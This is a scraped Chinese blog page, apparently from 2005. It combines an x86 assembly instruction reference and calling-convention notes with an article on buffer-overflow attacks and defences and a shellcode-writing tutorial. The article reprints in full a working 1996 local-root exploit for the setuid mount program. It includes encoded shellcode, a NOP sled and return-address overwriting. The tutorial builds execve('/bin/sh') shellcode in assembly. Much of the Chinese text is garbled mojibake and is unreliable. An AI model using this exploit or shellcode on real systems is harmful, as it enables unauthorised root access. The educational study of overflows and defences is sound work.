        REPC          当CF=1且CX/ECX<>0旉?
        REPNC          当CF=0且CX/ECX<>0旉?

五、程序{UL?
───────────────────────────────────────
     1>无条件{UL?(长{U?
        JMP    无条件{UL?
        CALL    q程调用
        RET/RETFq程q回.
    2>条g转移指o (短{U?-128?127的距d)
        ( 当且仅当(SF XOR OF)=1?OP1         JA/JNBE 不小于或不等于时转移.
        JAE/JNB 大于或等于{U?
        JB/JNAE 于转移.
        JBE/JNA 于或等于{U?
          以上四条,试无符h数运的l果(标志C和Z).
        JG/JNLE 大于转移.
        JGE/JNL 大于或等于{U?
        JL/JNGE 于转移.
        JLE/JNG 于或等于{U?
          以上四条,试带符h数运的l果(标志S,O和Z).
        JE/JZ  {于转移.
        JNE/JNZ 不等于时转移.
        JC      有进位时转移.
        JNC    无进位时转移.
        JNO    不溢出时转移.
        JNP/JPO 奇偶性ؓ奇数时{U?
        JNS    W号位ؓ "0" 时{U?
        JO      溢出转移.
        JP/JPE  奇偶性ؓ偶数时{U?
        JS      W号位ؓ "1" 时{U?
    3>循环控制指o(短{U?
        LOOP            CX不ؓ零时循环.
        LOOPE/LOOPZ    CX不ؓ零且标志Z=1时@?
        LOOPNE/LOOPNZ  CX不ؓ零且标志Z=0时@?
        JCXZ            CX为零时{U?
        JECXZ          ECX为零时{U?
    4>中断指o
        INT    中断指o
        INTO    溢出中断
        IRET    中断q回
    5>处理器控制指?
        HLT    处理器暂? 直到出现中断或复位信hl箋.
        WA
IT    当芯片引UTEST为高电^时CPUq入{待状?
        ESC    转换到外处理?
        LOCK    锁ȝ.
        NOP    I操?
        STC    |进位标志位.
        CLC    清进位标志位.
        CMC    q位标志取反.
        STD    |方向标志位.
        CLD    清方向标志位.
        STI    |中断允怽.
        CLI    清中断允怽.

六、伪指o
───────────────────────────────────────
          DW      定义?2字节).
        PROC    定义q程.
        ENDP    q程l束.
        SEGMENT 定义D?
        ASSUME  建立D寄存器d.
        ENDS    D늻?
        END    E序l束. 

七、寄存器

1. Register usage in 32 bit Windows
Function parameters are passed on the stack according to the calling conventions listed on
page 13. Parameters of 32 bits size or less use one DWORD of stack space. Parameters
bigger than 32 bits are stored in little-endian form, i.e. with the least significant DWORD at the
lowest address, and DWORD aligned.
Function return values are passed in registers in most cases. 8-bit integers are returned in
AL, 16-bit integers in AX, 32-bit integers, pointers, and Booleans in EAX, 64-bit integers in
EDX:EAX, and floating-point values in ST(0). Structures and class objects not exceeding
64 bits size are returned in the same way as integers, even if the structure contains floating
point values. Structures and class objects bigger than 64 bits are returned through a pointer
passed to the function as the first parameter and returned in EAX. Compilers that don\'t
support 64-bit integers may return structures bigger than 32 bits through a pointer. The
Borland compiler also returns structures through a pointer if the size is not a power of 2.
Registers EAX, ECX and EDX may be changed by a procedure. All other general-purpose
registers (EBX, ESI, EDI, EBP) must be saved and restored if they are used. The value of
ESP must be divisible by 4 at all times, so don\'t push 16-bit data on the stack. Segment
registers cannot be changed, not even temporarily. CS, DS, ES, and SS all point to the flat
segment group. FS is used for a thread environment block. GS is unused, but reserved.
Flags may be changed by a procedure with the following restrictions: The direction flag is 0
by default. The direction flag may be set temporarily, but must be cleared before any call or
return. The interrupt flag cannot be cleared. The floating-point register stack is empty at the
entry of a procedure and must be empty at return, except for ST(0) if it is used for return
value. MMX registers may be changed by the procedure and if so cleared by EMMS before
returning and before calling any other procedure that may use floating-point registers. All
XMM registers can be modified by procedures. Rules for passing parameters and return
values in XMM registers are described in Intel\'s application note AP 589 "Software
Conventions for Streaming SIMD Extensions". A procedure can rely on EBX, ESI, EDI, EBP
and all segment registers being unchanged across a call to another procedure.
2. Register usage in Linux
The rules for register usage in Linux appear to be almost the same as for 32-bit windows.
Registers EAX, ECX, and EDX may be changed by a procedure. All other general-purpose
registers must be saved. There appears to be no rule for the direction flag. Function return
values are transferred in the same way as under Windows. Calling conventions are the
same, except for the fact that no underscore is prefixed to public names. I have no
information about the use of FS and GS in Linux. It is not difficult to make an assembly
function that works under both Windows and Linux, if only you take these minor differences
into account.

 

八、位操作指oQ处理器控制指o
 1.位操作指令,8086新增的一l指令,包括位测试,位扫描。BT,BTC,BTR,BTS,BSF,BSR
 1.1 BT(Bit Test)Q位试指oQ指令格?
   BT OPRD1,OPRD2,规则Q操作作OPRD1可以?6位或32位的通用寄存器或者存储单元。操作数OPRD2必须?位立x或者是与OPRD1操作数长度相{的通用寄存器。如果用OPRD2除以OPRD1Q假讑֕存放在Divd中,余数存放在Mod中,那么对OPRD1操作数要q行试的位号就是Mod,它的主要功能是把要试位的值送往CFQ看几个单的例子Q?BR> 1.2 BTC(Bit Test And Complement)Q测试ƈ取反用法和规则与BT是一P但在功能有些不同Q它不但要试位的值送往CFQƈ且还该位取反?BR> 1.3 BTR(Bit Test And Reset)Q测试ƈ复位Q用法和规则与BT是一P但在功能有些不同Q它不但要试位的值送往CFQƈ且还该位复?x0)?BR> 1.4 BTS(Bit Test And Set)Q测试ƈ|位Q用法和规则与BT是一P但在功能有些不同Q它不但要试位的值送往CFQƈ且还该位置?即置1)?BR> 1.5 BSF(Bit Scan Forward)Q顺向位扫描Q指令格?BSF OPRD1,OPRD2Q功能:从叛_?从最低位到最高位Q对OPRD2操作数进行扫描,q将W一个ؓ1的位号送给操作数OPRD1。操作数OPRD1QOPRD2可以?6位或32位通用寄存器或者存储单元,但OPRD1和OPRD2操作数的长度必须相等?BR> 1.6 BSR(Bit Scan Reverse)Q逆向位扫描,指o格式:BSR OPRD1,OPRD2Q功能:从左向?从最高位到最低位Q对OPRD2操作数进行扫描,q将W一个ؓ1的位号送给操作数OPRD1。操作数OPRD1QOPRD2可以?6位或32位通用寄存器或存储单元Q但OPRD1和OPRD2操作数的长度必须相等?BR> 1.7 举个单的例子来说明这6条指?

 AA DW 1234H,5678H
 BB DW 9999H,7777H
 MOV EAX,12345678H
 MOV BX,9999H
 BT EAX,8;CF=0,EAX保持不变
 BTC EAX,8;CF=0,EAX=12345778H
 BTR EAX,8;CF=0,EAX=12345678H
 BTS EAX,8;CF=0,EAX=12345778H
 BSF AX,BX;AX=0
 BSR AX,BX;AX=15
 
 BT WORD PTR [AA],4;CF=1Q[AA]的内容不?BR> BTC WORD PTR [AA],4;CF=1Q[AA]=1223H
 BTR WORD PTR [AA],4;CF=1Q[AA]=1223H
 BTS WORD PTR [AA],4;CF=1Q[AA]=1234H
 BSF WORD PTR [AA],BX;[AA]=0;
 BSR WORD PTR [AA],BX;[AA]=15(十进? 
 
 BT DWORD PTR [BB],12;CF=1,[BB]的内容保持不?BR> BTC DWORD PTR [BB],12;CF=1,[BB]=76779999H
 BTR DWORD PTR [BB],12;CF=1,[BB]=76779999H
 BTS DWORD PTR [BB],12;CF=1,[BB]=77779999H
 BSF DWORD PTR [BB],12;[BB]=0
 BSR DWORD PTR [BB],12;[BB]=31(十进? 

 2.处理器控制指?BR> 处理器控制指令主要是用来讄/清除标志Q空操作以及与外部事件同步等?BR> 2.1 CLCQ将CF标志位清0?BR> 2.2 STCQ将CF标志位置1?BR> 2.3 CLIQ关中断?BR> 2.4 STIQ开中断?BR> 2.5 CLDQ清DF=0?BR> 2.6 STDQ置DF=1?BR> 2.7 NOPQ空操作Q填补程序中的空白区Q空操作本n不执行Q何操作,主要是ؓ了保持程序的q箋性?BR> 2.8 WAITQ等待BUSY引脚为高?BR> 2.9 LOCKQ封锁前~可以锁定其后指o的操作数的存储单元,该指令在指o执行期间一直有效。在多Q务环境中Q可以用它来保证独占其n内存Q只有以下指令才可以用LOCK前缀:
  XCHG,ADD,ADC,INC,SUB,SBB,DEC,NEG,OR,AND,XOR,NOT,BT,BTS,BTR,BTC
 3.0 说明处理器类型的伪指?BR>  .8086Q只支持?086指o的汇~?BR>  .186Q只支持?0186指o的汇~?BR>  .286Q支持对非特权的80286指o的汇~?BR>  .286CQ支持对非特权的80286指o的汇~?BR>  .286PQ支持对80286所有指令的汇编
  .386Q支持对80386非特权指令的汇编
  .386CQ支持对80386非特权指令的汇编
  .386PQ支持对80386所有指令的汇编
  只有用伪指o说明了处理器cdQ汇~程序才知道如何更好ȝ译,q接E序Q更好地L错?BR>  在后l的几篇里将详细介绍80386的段늮理机制及控制寄存器,调试寄存器,以及如何?86实模下和保护模式下编E?BR>



R.Zeus 2005-12-09 22:05 发表评论
]]>
~冲区溢出原理及防护http://www.tkk7.com/RR00/articles/23035.htmlR.ZeusR.ZeusThu, 08 Dec 2005 13:02:00 GMThttp://www.tkk7.com/RR00/articles/23035.htmlhttp://www.tkk7.com/RR00/comments/23035.htmlhttp://www.tkk7.com/RR00/articles/23035.html#Feedback0http://www.tkk7.com/RR00/comments/commentRss/23035.htmlhttp://www.tkk7.com/RR00/services/trackbacks/23035.html中科院研I生院  蒋 ?

??本文详细分析了缓冲区溢出的原理,描述了网l攻击者利用缓冲区溢出漏洞q行pȝd的一般过E,最后简单讨Z几种~冲区溢出的保护Ҏ?BR>关键词 ~冲区溢?~冲区溢出漏z?安全d ~冲区溢Z?BR>
在过ȝ十年中,以缓冲区溢出为攻ȝ型的安全漏洞是最为常见的一UŞ式。更Z重的是,~冲区溢出漏z占了远E网l攻ȝl大多数Q这U攻d以得一个匿名的Internet用户有机会获得一C机的部分或全部的控制权!׃q类d使Q何h都有可能取得L的控制权Q所以它代表了一cL其严重的安全威胁?BR>
~冲?A class=Channel_KeyLink >溢出d之所以成ZU常见的d手段Q其原因在于~冲区溢出漏z太普通了Qƈ且易于实现。而且Q缓冲区溢出所以成E攻ȝ主要手段Q其原因在于~冲区溢出漏z给予了d者所惌的一切:D入q且执行d代码。被D入的攻M码以一定的权限q行有缓冲区溢出漏洞的程序,从而得到被dL的控制权。本文简单介l了~冲区溢出的基本原理和预防办法?BR>

一、缓冲区溢出的概念和原理

~冲区是内存中存放数据的地方。在E序试图数据放到机器内存中的某一个位|的时候,因ؓ没有_?A class=Channel_KeyLink >I间׃发生~冲区溢出。而h为的溢出则是有一定企囄Q攻击者写一个超q缓冲区长度的字W串Q植入到~冲区,然后再向一个有?A class=Channel_KeyLink >I间的缓冲区中植入超长的字符Ԍq时可能会出C个结果:一是过长的字符串覆盖了盔R的存储单元,引vE序q行p|Q严重的可导致系l崩溃;另一个结果就是利用这U漏z可以执行Q意指令,甚至可以取得pȝroot特权限?BR>
~冲区是E序q行的时候机器内存中的一个连l块Q它保存了给定类型的数据Q随着动态分配变量会出现问题。大多时Z不占用太多的内存Q一个有动态分配变量的E序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区攑օ长的数据,它就会溢Z。一个缓冲区溢出E序使用q个溢出的数据将汇编语言代码攑ֈ机器的内存里Q通常是生root权限的地斏V仅仅单个的~冲区溢出ƈ不是问题的根本所在。但如果溢出送到能够以root权限q行命o的区域,一旦运行这些命令,那可q于把机器拱手相让了?BR>造成~冲区溢出的原因是程序中没有仔细查用戯入的参数。例如下面程序:

example1.c
void func1(char *input) {
char buffer[16];
strcpy(buffer, input);
}

上面的strcpy()直接吧input中的内容copy到buffer中。这样只要input的长度大?6Q就会造成buffer的溢出,使程序运行出错。存在像strcpyq样的问题的标准函数q有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在@环内的getc(),fgetc(),getchar(){?

当然Q随便往~冲Z填东襉K成它溢Z般只会出现Segmentation fault 错误Q而不能达到攻ȝ目的。最常见的手D|通过刉缓冲区溢出使程序运行一个用户shellQ再通过shell执行其他命o。如果该E序属于root且有suid权限的话Q攻击者就获得了一个有root权限的shellQ便可以对系l进行Q意操作了?BR>
h意,如果没有特别说明Q下面的内容都假讄户用的q_为基于Intel x86 CPU的Linuxpȝ。对其他q_来说Q本文的概念同样适用Q但E序要做相应修改?BR>

二、制造缓冲区溢出

一个程序在内存中通常分ؓE序Dc数据段和堆栈三部分。程序段里放着E序的机器码和只L据。数据段攄是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位|是Q?

attachments/200509/04_194023_1.gif


当程序中发生函数调用Ӟ计算机做如下操作Q首先把参数压入堆栈Q然后保存指令寄存器(IP)中的内容作ؓq回地址(RET)Q第三个攑օ堆栈的是基址寄存?FP)Q然后把当前的栈指针(SP)拯到FPQ做为新的基地址Q最后ؓ本地变量留出一?A class=Channel_KeyLink >I间Q把SP减去适当的数倹{以下面E序ZQ?BR>
example2.c
void func1(char * input) {
char buffer[16];
strcpy(buffer, input);
}
void main() {
char longstring[256];
int i;
for( i = 0; i < 255; i++)
longstring [i] = 'B';
func1(longstring);
}

当调用函数func1()Ӟ堆栈如下Q?BR>

attachments/200509/04_194043_2.gif


不用_E序执行的结果是"Segmentation fault (core dumped)"或类似的出错信息。因Zbuffer开始的256个字节都被* input的内?B'覆盖Q包括sfp, ret,甚至*input?B'?6qgؓ0x41Q所以函数的q回地址变成?x41414141Q这出了程序的地址I间Q所以出现段错误?BR>

三、缓冲区溢出漏洞d方式

~冲区溢出漏z可以M一个有黑客技术的人取得机器的控制权甚x最高权限。一般利用缓冲区溢出漏洞drootE序Q大都通过执行cM“exec(sh)”的执行代码来获得root 的shell。黑客要辑ֈ目的通常要完成两个Q务,是在程序的地址I间里安排适当的代码和通过适当的初始化寄存器和存储器,让程序蟩转到安排好的地址I间执行?BR>
1、在E序的地址I间里安排适当的代?BR>在程序的地址I间里安排适当的代码往往是相对简单的。如果要d的代码在所dE序中已l存在了Q那么就单地对代码传递一些参敎ͼ然后使程序蟩转到目标中就可以完成了。攻M码要求执行“exec(?bin/sh?”,而在libc库中的代码执行“exec(arg)”,其中的“arg”是个指向字W串的指针参敎ͼ只要把传入的参数指针修改指向?bin/sh”,然后再蟩转到libc库中的响应指令序列就可以了。当Ӟ很多时候这个可能性是很小的,那么得用一U叫“植入法”的方式来完成了。当向要d的程序里输入一个字W串ӞE序׃把这个字W串攑ֈ~冲区里Q这个字W串包含的数据是可以在这个所d的目标的gq_上运行的指o序列。缓冲区可以讑֜Q堆栈(自动变量Q、堆Q动态分配的Q和静态数据区Q初始化或者未初始化的数据Q等的Q何地斏V也可以不必到这个目的而溢ZQ何缓冲区Q只要找到够的I间来放|这些攻M码就够了?BR>
2、控制程序{Udd代码的Ş?BR>~冲区溢出漏z攻击都是在L改变E序的执行流E,使它跌{到攻M码,最为基本的是溢出一个没有检查或者其他漏z的~冲区,q样做就会扰q序的正常执行ơ序。通过溢出某缓冲区Q可以改写相q程序的I间而直接蟩转过pȝ对n份的验证。原则上来讲d时所针对的缓冲区溢出的程?A class=Channel_KeyLink >I间可ؓLI间。但因不同地方的定位相异Q所以也带Z多种转移方式?BR>
Q?QFunction PointersQ函数指针)
在程序中Q“void (* foo) ( )”声明了个返回gؓ“void?Function Pointers的变量“foo”。Function Pointers可以用来定位L地址I间Q攻L只需要在LI间里的Function Pointers邻近处找C个能够溢出的~冲区,然后用溢出来改变Function Pointers。当E序通过Function Pointers调用函数Q程序的程׃实现?BR>
Q?QActivation RecordsQ激z记录)
当一个函数调用发生时Q堆栈中会留M个Activation RecordsQ它包含了函数结束时q回的地址。执行溢些自动变量,使这个返回的地址指向d代码Q再通过改变E序的返回地址。当函数调用l束ӞE序׃跌{C先所讑֮的地址Q而不是原来的地址。这L溢出方式也是较常见的?BR>
Q?QLongjmp buffersQ长跌{~冲区)
在C语言中包含了一个简单的?恢复pȝQ称为“setjmp/longjmp”,意思是在检验点讑֮“setjmp(buffer)”,用longjmp(buffer)“来恢复验点。如果攻L能够q入~冲区的I间Q感觉“longjmp(buffer)”实际上是蟩转到d的代码。像Function Pointers一Plongjmp~冲够指向Q何地方,所以找C个可供溢出的~冲区是最先应该做的事情?BR>
3、植入综合代码和程控制
常见的溢出缓冲区dcL在一个字W串里综合了代码植入和Activation Records。攻L定位在一个可供溢出的自动变量Q然后向E序传递一个很大的字符Ԍ在引发缓冲区溢出改变Activation Records的同时植入代码(权因C在习惯上只ؓ用户和参数开辟很的~冲区)。植入代码和~冲区溢Z一定要一ơ性完成,可以在一个缓冲区内放|代码(q个时候ƈ不能溢出~冲区)Q然后通过溢出另一个缓冲区来{Uȝ序的指针。这LҎ一般是用于可供溢出的缓冲区不能攑օ全部代码时的。如果想使用已经ȝ的代码不需要再外部植入的时候,通常必须先把代码做ؓ参数。在libcQ熟悉C的朋友应该知道,现在几乎所有的CE序q接都是利用它来q接的)中的一部分代码D会执行“exec(something)”,当中的something是参数Q用缓冲区溢出改变E序的参敎ͼ然后利用另一个缓冲区溢出使程序指针指向libc中的特定的代码段?BR>
E序~写的错误造成|络的不安全性也应当受到重视Q因为它的不安全性已被缓冲区溢出表现得淋漓尽致了?BR>

四、利用缓冲区溢出q行的系l攻?BR>
如果已知某个E序有缓冲区溢出的缺P如何知道~冲区的地址Q在哪儿攑օshell代码呢?׃每个E序的堆栈v始地址是固定的Q所以理Z可以通过反复重试~冲区相对于堆栈起始位置的距L得到。但q样的盲目猜可能要q行数百至上千次Q实际上是不现实的。解决的办法是利用空指oNOP。在shell代码前面放一长串的NOPQ返回地址可以指向q一串NOP中Q一位置Q执行完NOP指o后程序将Ȁzshellq程。这样就大大增加了猜中的可能性。下面是一个缓冲区溢出d的实例,它利用了pȝE序mount的漏z:

example5.c
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include
#include
#include
#include
#include
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}

main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}

E序中get_esp()函数的作用就是定位堆栈位|。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOPQ后面部分放shell代码。最后部分是希望E序q回的地址Q由栈地址加偏Ud到。当以buff为参数调用mountӞ造成mountE序的堆栈溢出,其缓冲区被buff覆盖Q而返回地址指向NOP指o?

׃mountE序的属Lroot且有suid位,普通用戯行上面程序的l果获得一个具有root权限的shell?BR>

五、缓冲区溢出的保护方?BR>
目前有四U基本的Ҏ保护~冲区免受缓冲区溢出的攻d影响Q?BR>
1、强制写正确的代码的Ҏ
~写正确的代码是一仉常有意义但耗时的工作,特别像编写C语言那种hҎ出错們֐的程序(如:字符串的零结)Q这U风格是׃q求性能而忽视正性的传统引v的。尽花了很长的旉使得Z知道了如何编写安全的E序Q具有安全漏z的E序依旧出现。因此h们开发了一些工具和技术来帮助l验不的程序员~写安全正确的程序。虽然这些工具帮助程序员开发更安全的程序,但是׃C语言的特点,q些工具不可能找出所有的~冲区溢出漏z。所以,侦错技术只能用来减缓冲区溢出的可能,q不能完全地消除它的存在。除非程序员能保证他的程序万无一失,否则q是要用C下部分的内容来保证程序的可靠性能?BR>
2、通过操作pȝ使得~冲Z可执行,从而阻止攻击者殖入攻M?BR>q种Ҏ有效地阻止了很多~冲区溢出的dQ但是攻击者ƈ不一定要D入d代码来实现缓冲区溢出的攻击,所以这U方法还是存在很多弱点的?BR>
3、利用编译器的边界检查来实现~冲区的保护
q个Ҏ使得~冲区溢Z可能出现Q从而完全消除了~冲区溢出的威胁Q但是相对而言代h比较大?BR>
4、在E序指针失效前进行完整性检?BR>q样虽然q种Ҏ不能使得所有的~冲区溢出失效,但它的确阻止了l大多数的缓冲区溢出dQ而能够逃脱q种Ҏ保护的缓冲区溢出也很隑֮现?BR>
最普通的~冲区溢出Ş式是dzdU录然后在堆栈中D入代码。这U类型的d?996q中有很多纪录。而非执行堆栈和堆栈保护的Ҏ都可以有效防卫这U攻凅R非执行堆栈可以防卫所有把代码D入堆栈的攻L法,堆栈保护可以防卫所有改变活动纪录的Ҏ。这两种Ҏ怺兼容Q可以同旉卫多U可能的d?BR>剩下的攻d本上可以用指针保护的Ҏ来防卫,但是在某些特D的场合需要用手工来实现指针保护。全自动的指针保护需要对每个变量加入附加字节Q这样得指针边界检查在某些情况下具有优ѝ?BR>
最为有的是,~冲区溢出漏z?-Morris蠕虫使用了现今所有方法都无法有效防卫的方法,但是׃q于复杂的缘故却很少有h用到?BR>
在本文中Q我们详l描q和分析了缓冲区溢出的原理,q简单介l了几种防卫Ҏ。由于这U攻L目前常见的攻LD,所以进行这个方面的研究工作是有意义和成效的?BR>

参考文?BR>[1] |络入R?/A>分析员手? Stephen Northcutt?余青霓等?人民邮电出版C?2000.3
[2] C语言疑难问题解析. 严桂?刘甲耀~著.华东华工学院出版C?1993,1.
[3] |络最高安全技术指? 王锐{译.机械工业出版C?1998,5.



R.Zeus 2005-12-08 21:02 发表评论
]]>
溢出基础Q溢出原?/title><link>http://www.tkk7.com/RR00/articles/22987.html</link><dc:creator>R.Zeus</dc:creator><author>R.Zeus</author><pubDate>Thu, 08 Dec 2005 07:18:00 GMT</pubDate><guid>http://www.tkk7.com/RR00/articles/22987.html</guid><wfw:comment>http://www.tkk7.com/RR00/comments/22987.html</wfw:comment><comments>http://www.tkk7.com/RR00/articles/22987.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/RR00/comments/commentRss/22987.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/RR00/services/trackbacks/22987.html</trackback:ping><description><![CDATA[<FONT style="BACKGROUND-COLOR: #d3d3d3">一Q基知识 <BR>计算机内存运行分配的区域分ؓ3?<BR>E序D区域:不允许写?<BR>数据D区域:静态全局变量是位于数据段q且在程序开始运行的时候被加蝲 <BR>堆栈区域Q放|程序的动态的用于计算的局部和临时变量则分配在堆栈里面和在q程调用中压入的q回?<BR>址数据。堆栈是一个先入后出的队列。一般计机pȝ堆栈的方向与内存的方向相反。压栈的xx作pushQ?ESPQ?Q出栈的xx作是pop=ESP+4. 在一ơ函数调用中Q堆栈中被依次压入Q参敎ͼq回地址QEBP。如果函数有局部变量,接下来,在 堆栈中开辟相应的</FONT><A class=Channel_KeyLink ><FONT style="BACKGROUND-COLOR: #d3d3d3">I间</FONT></A><FONT style="BACKGROUND-COLOR: #d3d3d3">以构造变量。函数执行结束,q些局部变量的内容被丢失。但是不被清除。在?数返回的时候,弹出EBPQ恢复堆栈到函数调用的地址,弹出q回地址到EIP以l执行程序?<BR>在C语言E序中,参数的压栈顺序是反向的。比如funcQa,b,cQ。在参数入栈的时候,是:先压cQ再?b,最后a.在取参数的时候, <BR>指o执行的图例: <BR>指o区域 <BR>执行E序?<BR>0 1 2 3 <BR>0 <BR>4 <BR>8 调用100处的函数Q参?Q?位)Q?Q?0位) <BR>C <BR>10 0 1 2 3 <BR>100 执行处理 <BR>104 <BR>108 <BR>10C <BR>110 q回调用 堆栈区域 <BR>0 1 2 3 <BR>如果EBP分配?/FONT><A class=Channel_KeyLink ><FONT style="BACKGROUND-COLOR: #d3d3d3">I间</FONT></A><FONT style="BACKGROUND-COLOR: #d3d3d3">不够xx作就是生溢出的地方 <BR>200 保存以前的EBP4位(数据D늚指针Q用于可以用局部动?<BR>变量Q现在的EBP{于当前的ESP-动态数据的大小?Q?<BR>ESP=200 <BR>204 0C 00 00 00 <BR>此处是程序的q回地址 <BR>208 参数1Q填??<BR>20C 参数2填充2?<BR>210 <BR>讲解例子WIN下的E序DEMOQ演C参数导致的q回地址的变?<BR>讲清主要4位的填充问题 <BR>另外溢出q会D数据D늚改变 3Q如何利用堆栈溢?<BR>原理可以概括为:׃字符串处理函敎ͼgetsQstrcpy{等Q没有对数组界加以监视和限Ӟ我们利用 字符数组写越界,覆盖堆栈中的老元素的|可以修改返回地址?在DEMO的例子中Q这DCPU去访?一个不存在的指令,l果出错。事实上Q我们已l完全的控制了这个程序下一步的动作。如果我们用一?实际存在指o地址来覆盖这个返回地址QCPU׃转而执行我们的指o?那么有什么用呢,q使得我们的程序可以蟩转执行一些代码,如何用他来突破系l限制来获得权限呢? 二:pȝ权限知识 <BR>UNIXpȝ在运行的时候的权限查主要是ҎUIDQGIDQSID 三个标来查的Q主要根据SID来检查权?<BR>SUpȝ调用是SID变成SU的对?<BR>S_脓位得运行程序的人具有该E序拥有者一L权限 <BR>中断ROOT的S_脓位的E序可以获得超U用L权限QSID位置没被调用q回修改回来?<BR>VI的S_脓位可以中断的例子 在UINXpȝ中,我们的指令可以执行一个shellQ这个shell获得和被我们堆栈溢出的E序相同的权限?如果q个E序是setuid的,那么我们可以获得root shell?三:溢出H破权限的实?<BR>首先要编写SHELLCODE?q制代码作ؓ溢出的参数进行传入: <BR>shellcode的CE序 注意Qexecve函数执行一个程序。他需要程序的名字地址作ؓW一个参数。一个内容ؓ该程序的 argv[i]Qargv[n-1]=0Q的指针数组作ؓW二个参敎ͼ以及(char*) 0作ؓW三个参数?<BR>我们来看以看execve的汇~代码: <BR>0x804ce7c <__execve>: push %ebp ‘保存以前的数据D地址 <BR>0x804ce7d <__execve+1>: mov %esp,%ebp ‘得当前数据段指向堆栈 <BR>0x804ce7f <__execve+3>: push %edi <BR>0x804ce80 <__execve+4>: push %ebx ‘保?<BR>0x804ce81 <__execve+5>: mov 0x8(%ebp),%edi ‘ebp+8是第一个参?/bin/sh\0" <BR>0x804ce84 <__execve+8>: mov $0x0,%eax ‘清0 <BR>0x804ce89 <__execve+13>: test %eax,%eax <BR>0x804ce8b <__execve+15>: je 0x804ce92 <__execve+22> <BR>0x804ce8d <__execve+17>: call 0x0 <BR>0x804ce92 <__execve+22>: mov 0xc(%ebp),%ecx ‘设|NAME[0]参数Q?字节寚w <BR>0x804ce95 <__execve+25>: mov 0x10(%ebp),%edxQ设|NAME[1]参数Q?字节寚w <BR>0x804ce98 <__execve+28>: push %ebx <BR>0x804ce99 <__execve+29>: mov %edi,%ebx <BR>0x804ce9b <__execve+31>: mov $0xb,%eax ‘设|XB可?<BR>0x804cea0 <__execve+36>: int $0x80 ‘调用执?<BR>0x804cea2 <__execve+38>: pop %ebx <BR>0x804cea3 <__execve+39>: mov %eax,%ebx <BR>0x804cea5 <__execve+41>: cmp $0xfffff000,%ebx <BR>0x804ceab <__execve+47>: jbe 0x804cebb <__execve+63> <BR>0x804cead <__execve+49>: call 0x8048324 <__errno_location> <BR>0x804ceb2 <__execve+54>: neg %ebx <BR>0x804ceb4 <__execve+56>: mov %ebx,(%eax) <BR>0x804ceb6 <__execve+58>: mov $0xffffffff,%ebx <BR>0x804cebb <__execve+63>: mov %ebx,%eax <BR>0x804cebd <__execve+65>: lea 0xfffffff8(%ebp),%esp <BR>0x804cec0 <__execve+68>: pop %ebx <BR>0x804cec1 <__execve+69>: pop %edi <BR>0x804cec2 <__execve+70>: leave <BR>0x804cec3 <__execve+71>: ret _的调用方法是 <BR>0x804ce92 <__execve+22>: mov 0xc(%ebp),%ecx ‘设|NAME[0]参数Q?字节寚w <BR>0x804ce95 <__execve+25>: mov 0x10(%ebp),%edxQ设|NAME[1]参数Q?字节寚w <BR>0x804ce9b <__execve+31>: mov $0xb,%eax ‘设|XB可?<BR>0x804cea0 <__execve+36>: int $0x80 ‘调用执?另外要执行一个exitQ)pȝ调用Q结束shellcode的执行?<BR>0x804ce60 <_exit>: mov %ebx,%edx <BR>0x804ce62 <_exit+2>: mov 0x4(%esp,1),%ebx 讄参数0 <BR>0x804ce66 <_exit+6>: mov $0x1,%eax ?可?<BR>0x804ce6b <_exit+11>: int $0x80 <BR>0x804ce6d <_exit+13>: mov %edx,%ebx <BR>0x804ce6f <_exit+15>: cmp $0xfffff001,%eax <BR>0x804ce74 <_exit+20>: jae 0x804d260 <__syscall_error> 那么ȝ一下,合成的汇~代码ؓQ?<BR>mov 0xc(%ebp),%ecx <BR>mov 0x10(%ebp),%edx <BR>mov $0xb,%eax <BR>int $0x80 <BR>mov 0x4(%esp,1),%ebx <BR>mov $0x1,%eax <BR>int $0x80 但问题在于我们必Lq个E序作ؓ字符串的参数传给溢出的程序进行调用,如何来分配和定位字符东y?/bin/sh?q得有一个name数组。我们可以构造它们出来,可是Q在shellcode中如何知道它们的地址?Q每一ơ程序都是动态加载,字符串和name数组的地址都不是固定的?<BR>利用call压入下一条语句的q回地址Q把数据作ؓ下一条指令我们就可以辑ֈ目的?<BR>Jmp CALL <BR>Popl %esi ‘利用CALL弹出压入的下一条语句的地址Q其实就是我们构造的字符串的地址 <BR>movb $0x0,0x7(%esi) ‘输?的字W串为结?<BR>mov %esi,0X8 (%esi) ‘构造NAME数组Q放如字串的地址作ؓNAME[0] <BR>mov $0x0,0xc(%esi) ‘构造NAME[1]为NULLQ?NAME[0]?位地址Q所以偏UMؓ0xc <BR>mov %esi,%ebx ‘设|数据段开始的地址 <BR>leal 0x8(%esi),%ecx ‘设|参? <BR>leal 0xc(%esi),%edx ‘设|参? <BR>mov $0xb,%eax ‘设|调用号 <BR>int $0x80 ‘调?<BR>mov $0x0,%ebx <BR>mov $0x1,%eax <BR>int $0x80 <BR>Call popl <BR>.string \"/bin/sh\" 